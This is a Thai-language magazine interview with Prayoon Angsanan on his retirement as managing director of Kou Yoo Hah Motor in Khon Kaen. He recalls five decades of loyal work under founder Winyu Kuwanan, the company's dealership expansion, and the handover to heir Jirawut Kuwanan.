ภาพผู้คนจำนวนมากจากหลากหลายสาขาอาชีพ ที่เดินทางมาร่วมงานเลี้ยงเกษียณจากตำแหน่งกรรมการผู้จัดการบริษัทโค้วยู่ฮะมอเตอร์ จำกัด ของ“ประยูร อังสนันท์” ที่โรงแรมพูลแมน ราชาออคิด ขอนแก่น แบบแน่นขนัดเมื่อวันที่ 6 กุมภาพันธ์ ที่ผ่านมาย่อมเป็นการยืนยันถึงความรักและความผูกพันของผู้คนต่อผู้ชายวัย 74 ปี ผู้นี้.
“อีสานบิซวีค” ได้ถอดความบทสัมภาษณ์พิเศษ ที่เกี่ยวข้องกับชีวิตและแนวคิดในการทำงานของเขา ที่แฝงไปด้วยความรัก ความซื่อสัตย์ และความภักดีที่เขามีให้แก่บริษัทโค้วยู่ฮะ “ชีวิตผมมีวันนี้ได้เพราะเสี่ยวิญญูและโค้วยู่ฮะ”
ไม่เพียงเท่านั้นยังมีเรื่องเล่าบางแง่มุมชีวิตของ“ดร.วิญญู คุวานันท์” ผู้สร้างอาณาจักรโค้วยู่ฮะที่ได้วายชนม์ไปตามวาระแห่งชีวิต ในฐานะ “ขุนพลคู่บังลังก์” ตลอดจนความท้าทายของทายาท“จิรวุฒิ คุวานันท์”ที่ก้าวขึ้นมาสืบทอดอาณาจักรทางธุรกิจในปัจจุบัน…โปรดติดตามนับแต่บรรทัดนี้เป็นต้นไป
…………..
อีสานบิซวีค – :การสัมภาษณ์ในครั้งนี้น่าจะเป็นประโยชน์ต่อคนรุ่นหลัง?
คุณประยูร – ผมมีวันนี้ได้เพราะโค้วยู่ฮะ เพราะคุณวิญญู คุวานันท์ ถือว่าได้รับเกียรติเป็นอย่างมาก ถ้าจะสู้ต่อไปอีกก็สามารถทำได้แต่ชีวิตคนเรามันทำมาเยอะเหนื่อยและเราคิดว่า 50 กว่าปี มาแล้วควรยุติบทบาทต่างๆ
ผมอยากมีเวลาสำหรับครอบครัว และการพักผ่อน เหตุผลก็เพราะว่า หนึ่งภูมิใจ มีเกียรติ และพอมีเงินสำหรับใช้จ่ายบ้าง ถ้าเราเกษียณโดยที่ไม่มีอะไรก็ยังไม่ควรเกษียณ ก็ต้องขอบคุณเจ้าของบริษัทที่พยายามทำให้เราไม่มีวันเกษียณ
“คุณประยูร คุณไม่มีวันเกษียณ คุณจะต้องช่วยเราตลอดไป” ประโยคนี้ผมภูมิใจมาก สองถ้าเราไม่เกษียณ เด็กรุ่นใหม่ก็ไม่สามารถโตขึ้นมาได้ เพราะจะติดอยู่ที่เรา จึงต้องเปิดโอกาสให้กับคนรุ่นใหม่ สอง เหตุผลนี้น่าจะสมบูรณ์พอแล้ว
อีสานบิซวีค : การเกษียณได้อะไรจากบริษัทบ้างครับ ?
คุณประยูร : ในส่วนนี้ยังไม่ได้คุยกับทางบริษัท แต่ได้พูดกันเล็กน้อยก่อนเกษียณและได้คุยกับทางบริษัทใหญ่แล้วบ้าง ซึ่งไม่มีปัญหา หนึ่งเราก็พอมีพอกิน ในส่วนของการตอบแทนก็เป็นเรื่องบริษัทส่วนตัวเราไม่ได้ร้องขอ
อีสานบิซวีค: เส้นทางการทำงานในโค้วยู่ฮะเริ่มต้นอย่างไร ?
คุณประยูร : เดิมผมอยู่ที่อำเภอบัวใหญ่ โคราช มาช่วยงานคุณวิญญู ทำงานพืชไร่อยู่ที่เมืองพล เมื่อ 54 ปีที่แล้ว การทำพืชไร่ใน 1 ปี ทำได้แค่ 3-4 เดือน พอว่างจากพืชไร่ คุณวิญญูก็ชวนมาทำงานที่ขอนแก่นซึ่งเป็นศูนย์บริการขายรถยนต์ ขายอะไหล่
พอถึงฤดูทำไร่ก็ย้อนกลับไปอยู่ที่เมืองพล ทำงานระหว่างเมืองพลกับขอนแก่นอยู่ 2 ปี ทางคุณวิญญูเห็นว่าทำงานดีจึงให้มาช่วยงานด้านการขายรถยนต์ที่ขอนแก่นแทน เริ่มจากเป็นแคซเชียร์ และเลื่อนมาเป็นฝ่ายขายรถยนต์ช่วงนั้นมีพนักงาน 7- 8 คน
อีสานบิซวีค: เรียนด้านบัญชีหรือถึงได้ทำหน้าที่เป็นแคซเชียร์ ?
คุณประยูร: ไม่ครับ คือตอนนั้นงานมันง่าย เป็นระบบซื้อมาขายไป รับมาเท่าไหร่ จ่ายไปเท่าไหร่ ออกมาเป็นระบบแบบนี้ ทางฝ่ายบัญชีเอารายการประจำวันของเรา ว่าวันนี้เก็บค่าอะไรบ้าง จ่ายค่าอะไรไปบ้าง คงที่เหลืออะไรต่างๆก็เข้าธนาคารก็จะเอาบัญชีพวกนี้ไปลง ซึ่งไม่เหมือนกับปัจจุบันในอดีตไม่มีคอมพิวเตอร์ ใช้มือเขียนเท่านั้น จากพนักงาน 8 คนซึ่งในตอนนี้นั้นผมได้เงินเดือน 300 บาทที่อยู่เมืองพล และย้ายมาขอนแก่นก็ได้เงินเพิ่มขึ้น 800–1,000 บาท
เมื่อ 50 กว่าปีก่อน เงิน 800 บาทถือว่ามีค่ามาก ก็ถือว่า เขาเห็นเรามีความซื่อสัตย์ สุจริต มีความอดทน มีความสามารถ นี่ก็คือ…ปณิธานของท่านดร.วิญญู คือ ความซื่อสัตย์ ความอดทน ความสามารถ ความขยัน ซึ่งใช้ 4 หลักในการบริหาร
อีสานบิซวีค : พิสูจน์ตัวเองอย่างไรให้คุณวิญญูเห็นว่าซื่อสัตย์ ?
คุณประยูร: ผมกับคุณวิญญู ใกล้ชิดกันเราทำงานร่วมกัน วิธีการทำงานของคุณวิญญูอย่างหนึ่งคือ ช่วงเย็นจะชวนกันไปทานข้าวนอกเวลา มีการพูดคุยกันเรื่องงาน จุดนี้ทำให้เรามีความรู้สึกว่า หากมีอะไรอึดอัด หรือมีอะไรที่ดี ก็จะคุยกับคุณวิญญูตลอด ทำให้มีความใกล้ชิดกัน
หลังจากนั้นมาก็เห็นผมกับคุณวิญญูตลอด เหมือนกับปาทองโก๋ คุณวิญญูเป็นคนใจกว้างมีอะไรที่ต้องการทำก็จะให้ผมเป็นคนรับผิดชอบ ซึ่งคุณวิญญูเองมีความชอบในเรื่องของการค้า ชอบที่จะเป็นเอเย่นต์รถ หลากหลายยีห้อ ไม่ว่าจะเป็น ฟอร์ด มาสด้าฯลฯ
อีสานบิซวีค:การเริ่มต้นธุรกิจทุกครั้งต้องปรึกษาคุณประยูรด้วยใช่ไหมครับ ?
คุณประยูร : มีการปรึกษากัน เนื่องจากในขณะนั้นยังไม่มีใครทำ ผมจะได้รับหน้าที่ในส่วนนี้ไปก่อนซึ่งบอกตรงๆว่าเหนื่อยมาก ไม่ไหวจริงๆ ทางคุณวิญญูก็ให้หาคนมาช่วยงานเราตรงนี้เขาได้เห็นความขยัน ซื่อสัตย์ของเราและการดำเนินกิจการค้าใหม่ๆให้ผมเป็นผู้ดูแล
อีสานบิซวีค: มีอะไรบ้างที่จำได้ ?
คุณประยูร : อย่างเช่น เป็นเอเย่นต์รถยนต์ฟอร์ด ที่จังหวัดน่าน พิษณุโลก เราเป็นผู้บุกเบิก และให้คนในแต่ละพื้นที่เป็นคนทำ หลังจากนั้นก็มาเป็น เอเย่นต์รถยนต์นิสสันที่ อุบลราชธานี นครพนม และการทำเอเย่นต์รถยนต์สุดท้าย ที่ลำปาง เป็นเอเย่นต์รถยนต์อีซูซุ ที่อำเภอเถิน จังหวัดลำปาง ซึ่งเราก็ได้ไปบุกเบิกตรงนั้น บางทีก็ได้ไปค้าขายที่ประเทศลาว ขายน้ำมันเครื่อง ส่งข้าวสารไปขาย บางครั้งก็เจออุปสรรคบ้างถือได้ว่าต้องทำทุกอย่างเอง
คุณวิญญูเป็นคนนิสัยดี อย่างหนึ่งที่ประทับใจคือ เถ้าแก่กินอะไร เราก็ได้กินอย่างนั้น นอนที่ไหนเราก็นอนด้วยกัน จะไม่มีการแบ่งชั้นว่า พนักงาน เจ้าของ เหมือนกันทุกอย่าง ยกตัวอย่างเช่น คุณวิญญูทำห้องทำงานเขาก็ทำห้องทำงานของผมเหมือนกับคุณวิญญูทุกอย่าง
อีสานบิซวีค- ใช้เวลานานไหมที่สร้างการยอมรับได้ขนาดนี้ ?
คุณประยูร- ใช้เวลากว่า10 -20 ปี ผมภูมิใจมากคือ วันที่คุณวิญญูไปที่บริษัทตรีเพชรอีซูซุฯและประกาศว่าแต่งตั้งให้ผมเป็นกรรมการผู้จัดการบริษัทโค้วยู่ฮะมอเตอร์ ซึ่งปกติแล้วการเป็นกรรมการผู้จัดการก็คือเจ้าของการแต่งตั้งแบบนี้เหมือนไว้ใจเหมือนยกบริษัทยกเครดิตให้ผม
คุณวิญญูกล่าวว่า“คุณประยูรเป็นคนที่ซื่อสัตย์ สุจริตและผมก็ทำงานร่วมกับคุณประยูรมาหลายสิบปีแล้ว ผมไว้ใจเขา เช็คเงินสดราคาหลายล้านบาทก็ให้เซ็นต์แทนได้ คือเซ็นต์คู่กับสมุห์บัญชี พอได้ยินเช่นนั้นรู้สึกตื้นตันใจมาก ตำแหน่งนี้ใช่ว่าจะทำกันได้ง่ายๆ
อีสานบิซวีค :ตอนนั้นคุณวิญญูอายุเท่าไหร่แล้วครับ ?
คุณประยูร: คุณวิญญูเป็นพี่ผมเกือบ 10 ปี คิดว่าน่าจะ 60 กว่าปี คุณวิญญูเป็นคนที่เปิดเผย มีอะไรก็จะบอกผมหมด ไม่มีความลับ สอนการทำงาน ทางภรรยาคุณวิญญูก็บอกว่า “มีอะไรก็ไปบอกคุณประยูรหมด ไม่กลัวเขาเอาความลับของบริษัทไปเปิดเผยหรือยังไง
คุณวิญญูก็บอกว่าหากไม่สอนงานคุณประยูรหมด จะทำงานได้อย่างไร ความลับต่างๆถ้าจะเอาไปเปิดเผยก็ทำอะไรไม่ได้ ถ้าไม่บอกหมดก็จะทำงานไม่เป็น”
ยิ่งทำให้เรายิ่งระมัดระวังในการทำงานมากขึ้น หลังจากที่แต่งตั้งเสร็จ ผมก็บอกกับพนักงานว่าผมเป็นกรรมการผู้จัดการฯ และบอกกับหัวหน้าที่ดำรงตำแหน่งสูงๆ ให้มาช่วยงานกัน ตำแหน่งที่ได้รับมอบหมายให้นี้ ไม่ใช่ว่าผมจะใช้อำนาจหน้าที่ต่างๆ ถ้าไม่มีพวกคุณมาช่วย ผมก็จะเป็นกรรมการผู้จัดการไม่ได้ทำให้ทุกคนยอมรับ
อีสานบิซวีค : ธุรกิจที่จะเริ่มใหม่คุณวิญญูจะส่งคุณประยูรไปบุกเบิกใช่ไหมครับ?
คุณประยูร: การไปบุกเบิกในช่วงแรกเราไปด้วยกัน ต้องพึ่งพากัน คุณวิญญูเป็นคนชอบค้าขาย อันไหนที่ทำกำไรได้ก็จะทำไม่เกี่ยวกับทำกำไรมากกำไรน้อย กิจการที่ทำตอนนั้น ได้แก่โรงสีข้าว โกดังคลังสินค้า บางอย่างก็สำเร็จบางอย่างก็ไม่สำเร็จ
เป็นเรื่องปกติของการทำธุรกิจ บางคนก็ถามว่า ทำธุรกิจหลายอย่างไม่กลัวเจ๊งหรอ อย่างที่เราเคยทำมาสด้าที่ขอนแก่น ในตอนนั้นเราคิดว่ากิจการไม่ดีจึงปิดกิจการไป การที่ปิดก็ได้ถามคุณวิญญูว่า“ที่ปิดกิจการไม่กลัวธนาคารจะว่าเราเจ๊งหรอ ไม่กลัวเสียชื่อหรอ”
คุณวิญญูก็ได้ตอบมาว่า “ไม่ได้กลัวเสียชื่อ เพราะไม่ได้เป็นหนี้ใคร กิจการไม่ดีก็ปิด กิจการดีก็ทำต่อ” ซึ่งคำนี้เป็นคำที่ทุกคนคิดไม่ถึง ทุกคนจะต้องรักษาเครดิตของตนไว้ก่อน หากปิดกิจการก็กลัวจะเสียชื่อเสียง
อีสานบิซวีค :เรียนรู้อะไรจากคุณวิญญูบ้าง ?
คุณประยูร : คุณวิญญูเป็นคนที่กล้าได้กล้าเสีย ถ้าไว้ใจใครจะทุ่มให้หมด ให้ดูแลแทนทุกอย่าง
อีสานบิซวีค :เคยมีผิดพลาดบ้างไหมครับ ?
คุณประยูร: ช่วงปี 2525-2526 ที่ขอนแก่น พวกแชร์อะไรต่างๆได้รับผลกระทบอย่างมาก แต่เราไม่ได้เล่นแชร์ไม่มีผลกระทำอะไร แต่มาได้รับผลกระทบจากค่าเงินบาท เมื่อปี 2539-2540 ทำให้เราเป็นหนี้ อยู่บ้างก็ได้จัดการปัญหาไปหมดแล้ว
คุณวิญญูชอบซื้อที่ดินจะมีหลักทรัพย์อยู่ในมือที่สามารถไปกู้ธนาคารได้และผ่อนชำระหนี้ให้กับเจ้าหนี้ได้และก็มีพอร์ตเช่าซื้อ ถ้าเป็นกิจการค้าคนอื่นเจ๊งไปคงเหลือแต่ที่ดิน แต่ของเราโชคดีมากที่คุณวิญญูขายสินเชื่อจนได้พอร์ตเช่าซื้อมามีมูลค่าหลายพันล้านบาทสามารถไปเจรจากับเจ้าหนี้ได้
เราก็ไปคุยว่าเรามีหนี้สินเท่าไหร่ และสามารถผ่อนชำระหนี้สินได้ โดยหนึ่งเรามีหลักทรัพย์ สองเรามีพอร์ตเช่าซื้อสามารถเก็บเงินจากลูกหนี้ได้ทุกเดือน สามารถเอาไปผ่อนส่งกับทางบริษัทใหญ่ได้ โดยมอบให้ผมไปเจรจา
ผมเอาหลักฐานต่างๆไปชี้แจง ทางบริษัทแม่(รถยนต์)ที่กรุงเทพฯที่เราทำอยู่ตอนนี้ เป็นเส้นเลือดใหญ่จะต้องเลี้ยงไว้ตลอด โดยการเจรจา เพื่อดำเนินธุรกิจต่อไป
อีสานบิซวีค: คุณวิญญูเองก็มีภรรยาและคุณประยูรแบ่งบทบาทอย่างไร?
คุณประยูร: ในช่วงนั้นคุณใหญ่ (จิรวุฒิ คุวานันท์) ยังเล็กๆและเดินทางไปเรียนต่างประเทศ ยังไม่มีโอกาสมาช่วยที่นี่ โดยเซี้ยเนี้ยะ(คุณมาลิน) จะดูแลในส่วนของกรุงเทพฯที่ซื้อรถเข้ามา ในกรุงเทพฯเราก็มีบริษัทรถยนต์เหมือนกัน
ตอนนั้นจะมีคุณอนัญญาญาติห่างๆของคุณวิญญู ตอนนี้ได้แยกไปทำมิตซูบิชิแล้วก็ช่วยกันสัญญาเช่าซื้อต่างๆ แต่ที่อีสานตลาดรถยนต์มีขนาดใหญ่
อีสานบิซวีค: ก็เหมือนกับแบ่งในส่วนของอีสานให้คุณประยูรเป็นผู้ดูแล ?
คุณประยูร : คุณวิญญูก็เดินทางไปมาระหว่างกรุงเทพฯกับอีสาน เวลาเดินทางกลับมาขอนแก่น เซี่ยเนี๊ยะ(คุณมาลิน)ก็จะเดินทางกลับมาด้วย ผมก็ได้มีโอกาสได้ปรึกษาหารือกัน
อีสานบิซวีค:แบบนี้เซี่ยเนี๊ยะ(คุณมาลิน)ไม่น้อยใจบ้างเหรอครับ ?
คุณประยูร: คุณวิญญูบอกว่า ถ้าไม่ไว้ใจแล้วจะทำงานได้อย่างไร เหมือนกับสองมือสองเท้า เพราะลูกๆก็ยังไม่โตพอที่จะมาดูแลได้
อีสานบิซวีค : ทำไมคุณประยูรไม่ออกไปสร้างกิจการของตัวเอง มาเป็นลูกจ้างทำไมจนกระทั่งเกษียณ ?
คุณประยูร : เราถือว่าเราเป็นคนกตัญญู และไม่คิดเลยว่าจะออกไปทำเอง บางครั้งตอนที่ทำงานอยู่บริษัทรถยนต์หลายบริษัท มาทาบทามเราโดยให้เงินเดือน 5 เท่าของอยู่ที่นี่ เราบอกว่าไปไม่ได้ เพราะเรามีชื่อเสียงจากการทำงานกับที่นี้ และได้รับเกียรติอย่างสูง อยู่อย่างสบายใจ ไม่มีเหตุผลอะไรที่จะต้องไปและที่จะไปเปิดเองเราก็ไม่ทำ ไม่เคยคิด เพราะเขามีบุญคุณกับเรา ต้องกตัญญูต่อผู้มีพระคุณ
หลักการนี้มันอยู่ที่ใจ สมัยที่ผมเป็นกรรมการผู้จัดการ เราก็รับพนักงานจากสยามกลการ ฯลฯ เขาก็อยู่กันอย่างฉาบฉวย แต่เราไม่ใช่คนประเภทนั้น ประเด็นหนึ่งที่คุณวิญญูเห็นใจ ว่าเราเป็นคนกตัญญู ไม่ทรยศเราไม่ได้เป็นคนแบบนั้น
ผมก็ทุ่มเทให้กับบริษัทอย่างแท้จริง ไม่มีวันเสาร์อาทิตย์ ในสมัยนั้นทุกคนจะกลัวการออกจากงาน ไม่เหมือนกับปัจจุบันที่ออกจากงานที่หนึ่ง ไปทำอีกที่หนึ่งได้ หางานยาก เราก็ซื่อสัตย์ สุจริต ขยัน อดทน หลัก 4 ข้อของคุณวิญญู ผมจำฝังใจมาโดยตลอด
อีสานบิซวีค: ความคิดซื่อสัตย์กับบริษัทขนาดนั้นเกิดได้ยังไง?
คุณประยูร : ความเป็นคนจีน คนจีนซื่อสัตย์อันดับหนึ่ง ไม่ว่าคุณจะมีความสามารถมากแค่ไหนก็แล้วแต่ หากไม่ซื่อสัตย์ก็ไม่เจริญทำกำไรให้บริษัทมาเป็นร้อยล้านบาท ถ้าไม่ซื่อสัตย์แค่บาทเดียวก็ไม่เอา เราปณิธานไว้เป็นนโยบาย หากใครไม่ซื่อสัตย์คุณวิญญูจะเอาเรื่องให้ถึงที่สุด แต่ก็เป็นคนที่ให้ความช่วยเหลือเต็มที่
อีสานบิซวีค: คุณประยูรสรุปว่าตนเองมีความสามารถอย่างไร ?
คุณประยูร: เรื่องความสามารถ เหมือนกับว่า เขาให้เรามา หนึ่งเราทำออกมาเป็นสอง ไม่ใช่ว่าเขาสั่งมาแล้วเราทำอย่างเดียว เราต้องพลิกแพลง ซึ่งเซี้ยเนี้ยะ(คุณมาลิน)จะเป็นคนรู้นิสัยคุณวิญญูว่าเป็นคนง่ายๆสั่งอะไรมาง่ายๆสั่งมาแบบไม่คิดอะไร
ฉะนั้นถ้าเขาสั่งงานมาเราต้องคิดก่อน ว่าดีหรือไม่ ถูกต้องหรือไม่ ควรจะแก้ไขหรือไม่ อะไรที่ไม่ถูกต้องเราไม่เอา หรืออันไหนที่ควรพลิกแพลงให้ดีขึ้น เป็นบวก จากผลงานก็ทำให้เราได้รับความชมจากเซี้ยเนี้ยะ(คุณมาลิน) และคุณวิญญูโดยกล่าวว่า ต้องเป็นคนแบบนี้นะไม่ต้องทำตามคำสั่งจนเสียหาย
อีสานบิซวีค: ยกตัวอย่างให้ฟังได้ไหมครับ ?
คุณประยูร: อย่างเช่น ลูกค้าคนนี้เครดิตดี ปล่อยสินเชื่อให้เลย แต่เราก็ต้องมาคิดไงว่า คุณวิญญูไว้ใจ แล้วข้างนอกเขาเป็นคนอย่างไร มาหาเหตุผลว่า ลูกค้ารายนี้ถ้าเราปล่อยสินเชื่อให้แล้วเขาเอาไปทำอะไร ทำกิจการการค้า เขามาหลอกลวงเราหรือไม่ ก็ต้องคิดหาทางป้องกัน
การค้าใหม่ๆเข้ามาเสนอคุณวิญญู ว่าธุรกิจตัวนี้หน้าสนใจ แต่ทุกอย่างก็ต้องผ่านเซี้ยเนี้ยะ(คุณมาลิน) กลั่นกรองเซี้ยเนี้ยะ(คุณมาลิน) เป็นคนละเอียด การทำงานจึงไปด้วยกันได้ คุณวิญญูจะเป็นคนที่คิดถึงงานอะไรเขาจะโทรตาม ผมจะต้องพร้อมให้สำหรับคุณวิญญูตลอด
ครั้งหนึ่งเคยนัดลูกกับภรรยาว่าจะพาไปดูหนังซึ่งก็พร้อมกันแล้ว คุณวิญญูได้โทรศัพท์มาตามตัวจะปรึกษาเรื่องงาน ก็ต้องทิ้งครอบครัวมาทำงานก่อน ก็ทำให้ลูกเสียใจบ้าง นานๆนัดที เราก็รู้ว่ามันไม่ถูก แต่เรื่องงานก็สำคัญเราจึงต้องเลือกงานมากกว่า
มีครั้งหนึ่งลูกไม่สบายมาก ภรรยาอุ้มพาไปโรงพยาบาล คุณวิญญูก็โทรมาอีกจะคุยเรื่องงาน ก็ต้องบอกให้ภรรยานั่งสามล้อพาลูกไปโรงพยาบาล ภรรยาร้องไห้ ผมก็ไม่รู้ว่าจะต้องทำอย่างไร เจ้านายสั่งงานมาทางนี้ช่วยกันได้ก็ต้องช่วยกันไป เหมือนกับว่าลูกจะตายอยู่แล้วยังคิดถึงเรื่องงาน ผมก็ไม่รู้จะทำอย่างไร
อีสานบิซวีค: ทำไมคิดและทำอย่างนั้น?
คุณประยูร : ก็ไม่รู้เหมือนกัน อาจจะเพราะด้วยเป็นคนบ้าบอๆ ทำให้หลายอย่างพลาด คิดแล้วบางทีจะเรียกว่าเอาเปรียบก็ไม่ได้ การรับผิดชอบซึ่งใจของผมก็ไปเอง ถ้าเป็นปัจจุบันก็คงไม่ได้ ผมเป็นคนรับผิดชอบและไม่ทิ้งงาน
อีสานบิซวีค: อันนี้ก็เหมือนเป็นการพิสูจน์ให้คุณวิญญูรักและไว้วางใจ
คุณประยูร: แต่คุณวิญญูมารู้ภายหลังก็ไม่ค่อยสบายใจเท่าไหร่ ว่าทำไมไม่บอก ว่าเกิดอะไรขึ้น ถ้าหากผมบอกคุณวิญญูก็จะไม่ให้มาเรื่องงาน
อีสานบิซวีค: การทุ่มเทให้กับงานมากๆ จัดความสัมพันธ์กับครอบครัวอย่างไร ภรรยา หรือลูกๆจะเข้าใจเรา ?
คุณประยูร: ตอนนั้นฐานะทางบ้านก็ยากจน ก็ต้องเอาเรื่องงานเป็นหลัก เพราะเราเรียนไม่สูง ไม่รู้จะทำอย่างไร บางครั้งไม่มีเงิน ภรรยาจะต้องซื้อผักมาขายหน้าบ้าน มีอยู่วันหนึ่งคุณวิญญูไปที่บ้านก็ได้เห็นภรรยาผมขายของก็คิดว่าทำแบบนี้จะได้สักกี่บาท ซื้อมา 5 บาท ขาย 6บาท
เมื่อคุณวิญญูเห็นเช่นนั้นก็ได้ให้ยืมเงินมา 10,000 บาท เพื่อซื้อของมาขาย เยอะขึ้น คุณวิญญูเป็นคนดีมากเหมือนเป็นการตอบแทนกันไปมา ครอบครัวก็เข้าใจและเห็นใจผม
อีสานบิซวีค: ในแง่ของการบริหารคุณประยูรอยู่ตรงกลางคุณวิญญูอย่างข้างบน ก็ต้องการผลสัมฤทธิ์คุณประยูรเวลามาบริหารให้ลูกน้องทำตามอย่างไร ?
คุณประยูร: เรื่องนี้ทำคนเดียวไม่ได้ คือคุณวิญญูเวลาประชุมพนักงานต่างๆ ก็จะบอกว่าผมแต่งตั้งคุณประยูร พนักงานมีอะไรก็ให้ช่วยเหลือซึ่งกันและกัน ก่อนที่ผมมารับตำแหน่งก็ได้บอกว่าเราปกครองกันแบบครอบครัว ปกครองกันแบบพี่น้องมีอะไรให้มาคุยกัน ต้องช่วยเหลือกัน
ผมเป็นคนที่มีนิสัยที่ว่า ขอให้บอกว่าอะไรทำไม่ได้ หรือทำได้ ไม่ใช่ว่าเราจะเอาเป็นเอาตาย ถ้าคุณทำไม่ได้เราต้องหาทางพลิกแพลง ซึ่งเป็นการอะลุ่มอล่วย แม้กระทั่งปัจจุบันก็ยังปฏิบัติเช่นนี้ ไม่แข็งกระด้าง ช่วยกันทำงาน
อีสานบิซวีค: ความใจดีทำให้สัมฤทธิ์ผลน้อยต้องเปลี่ยนไปเล่นบทแข็งบ้างไหม ?
คุณประยูร: บางครั้ง แต่ว่าก็ไม่แข็งมาก บางครั้งทำไม่ได้ก็หาใครมาช่วย เขาก็เห็นใจเพราะเขาอัดงานเรามาเราก็ต้องอัดงานต่อ เพราะว่าเรารับงานมาเยอะโดยเฉพาะอย่างยิ่ง ผมเป็นคนรักลูกน้องมาก และลูกน้องก็รักผมมาก ยังพูดอยู่ว่าถ้าใครโดนผมต่อว่าถือว่าซวยมาก เพราะผมจะไม่ต่อว่าแบบโมโหร้าย มีอะไรก็มาคุยกัน
อีสานบิซวีค: พนักงานรุ่นนั้นกับรุ่นปัจจุบัน ที่ห่างกัน 10-20 ปีเป็นอย่างไร
คุณประยูร: ตอนนี้ก็ง่ายรับฟังกันช่วยกัน จัดงานอะไรก็ร่วมมือกัน ปัจจุบันนี้บางครั้ง เหตุผลเยอะ ใช้เงินเยอะผิดกัน ถ้าเอาแบบที่ผมบริหารในอดีตมาทำก็คงยาก ?
อีสานบิซวีค : ช่วงท้ายของการบริหารบทบาทของคุณประยูร ยังสม่ำเสมอเหมือนเดิมหรือค่อยๆผ่อนออกไปเรื่อยๆวิธีการ ?
คุณประยูร: ยังเสมอต้นเสมอปลายอยู่ พอมารุ่นของคุณใหญ่ (จิรวุฒิ คุวานันท์) ได้ 3 ปี แล้ว หลังจากที่คุณใหญ่เข้ามาช่วย ผมก็บอกว่าตำแหน่งกรรมการผู้จัดการต้องยกให้คุณใหญ่ เพราะถือว่าเป็นตำแหน่งของเจ้าของบริษัท
คุณวิญญูก็พูดว่า ยังไม่ได้หรอก ต้องให้เขาเรียนรู้ก่อน แล้วค่อยเอาตำแหน่งนี้ไป พอหลังจากที่คุณวิญญูเสียชีวิต ผมก็ได้บอกกับคุณใหญ่ว่าต้องรับตำแหน่งนี้ไปแล้วคุณใหญ่เองก็ยังไม่รับตำแหน่งนี้ให้คุณประยูรดูแลตำแหน่งนี้ไปก่อนแล้วกันยังไงผมก็เป็นประธานอยู่แล้ว เรื่องนี้ต้องขอบคุณคุณใหญ่อยู่เหมือนกันที่เห็นแก่เรา
อีสานบิซวีค: การบริหารของคุณวิญญูกับคุณจิรวุฒิต่างกันอย่างไร ?
คุณประยูร: คุณวิญญูถือว่าเป็นคนกล้าได้กล้าเสีย มอบให้เราแล้ว เราก็ทำ แต่เราพยายามทำเพื่อไม่ให้เสียหาย แต่คุณใหญ่เป็นคนมีเหตุผลมีความละเอียดอ่อน เพื่อไม่ให้งานเสียหายเหมือนกับว่า ให้เราแล้วเสียไม่เสียก็ต้องรับไปก่อนแต่ก็ไม่เคยต่อว่าก็ยังใช้สไตล์การทำงานเหมือนเดิมอยู่ให้การสนับสนุน
อีสานบิซวีค: เคยมีความเห็นต่างกันจากคุณวิญญูหรือไม่?
คุณประยูร: ส่วนมากผมจะอ่อนตาม เพราะเขาเป็นเถ้าแก่ อย่างมากก็โมโหแล้วเราก็รับไปก่อน หลังจากที่หายโมโหแล้วเราก็ไปไปชี้แจงกับคุณวิญญูได้ ทำให้คุณวิญญูเขาก็ชอบ ไม่ใช่ว่าถึงขั้นแตกหัก หันหลังหนีออกจากกัน
ถ้าเขามาแรงบางครั้งเขาเป็นฝ่ายผิดแต่เราก็ยอมไปก่อน แล้วค่อยมาอธิบายตอนหลังว่า เพราะอะไรเราถึงไม่เห็นด้วย แบบนี้ทำให้เขายิ่งรักเราคนอื่นอาจจะทำได้หรือไม่ผมก็ไม่ทราบ ถ้าเป็นนิสัยแบบใดแบบหนึ่งเขาอาจจะไม่ยอม แต่ผมทำอย่างนั้นไม่ได้
เราต้องคิดเสมอว่าเรามีวันนี้ได้เพราะโค้วยู่ฮะ พยายามนึกถึงคำนี้ไว้ เพราะฉะนั้นเราจะทำอะไรได้เต็มที่ คุณวิญญูเป็นคนที่มีอะไรก็ทุ่มเทให้ผมก่อน คนจีนเขาเรียกว่า“เมาตัวเมาให้ น้ำทะเล ภูเขา ยกไปก่อนหามไปก่อนแบกไปก่อน”
คุณวิญญูเขาจะเป็นคนเช่นนี้ ทำไม่ได้แล้วค่อยมาว่ากัน มีอยู่ครั้งหนึ่ง ผมเคยเหนื่อยมากๆ จนแม่บอกว่าถ้าทำไม่ไหวก็ต้องบอกเขาไป อย่าไปรับมาก เราก็บอกว่าต้องรับถ้าไม่รับจะทำอย่างไร มันเป็นงานที่เขามอบหมายให้เราทำ แม้กระทั่งบางครั้งขาดคนไปยึดรถข้างนอกบางทีเราก็ไป
ผมเป็นคนแปลกอย่างหนึ่งคือ ถ้าลูกน้องทำไม่ได้ผมจะเป็นคนทำเอง หนึ่ง คือเป็นการป้องกันลูกน้องว่าโกหกเราหรือไม่ สองไปจริงหรือไม่ ลูกค้าเป็นจริงหรือไม่ ไปพิสูจน์กันกับลูกน้อง ทำให้ลูกน้องไม่กล้าโกหกเรา
อีสานบิซวีค: การไปทำงานสังคมภายนอก ที่มีช่วงหนึ่งคุณประยูรไปรับตำแหน่งหอการค้า บริหารหอการค้าประสบความสำเร็จ ได้รางวัลมามากมาย ต่างจากการบริหารบริษัทอย่างไร ซึ่งการบริหารบริษัทก็ได้รับความไว้วางใจเป็นอย่างมาก แต่พอไปบริหารองค์กรของหอการค้า ที่นั้นมีแต่เถ้าแก่เป็นจำนวนมาก ซึ่งคุณประยูรเป็นเพียงลูกจ้าง ในส่วนนี้บริหารอย่างไร ?
คุณประยูร: เรื่องนี้เป็นสิ่งหนึ่งที่ต้องขอบคุณคุณวิญญูมาก จะไปเป็นนายกฯเจซีเป็นนายกฯโรตารี่ฯลฯ หรือองค์กรต่างๆคุณวิญญูจะส่งเสริมให้ไปทำงาน
อีสานบิซวีค: ตัวคุณวิญญูไม่เคยเข้าไปใช่ไหมครับ ?
คุณประยูร :ไม่เคยเข้าไปจะเป็นผู้อยู่เบื้องหลังไปวันรับตำแหน่งก็จะไปประกาศว่า คุณประยูรเขาเป็นผู้จัดการของผม ผมให้เขามาช่วยงานเต็มที่ เพราะฉะนั้นเรื่องงาน ก็ช่วยเหลือกัน สุดท้ายประธานหอการค้าฯ พอคุณดวงตา (ทองโสภิต) ออกจากตำแหน่ง คุณวิญญูก็ให้ผมเป็นประธาน
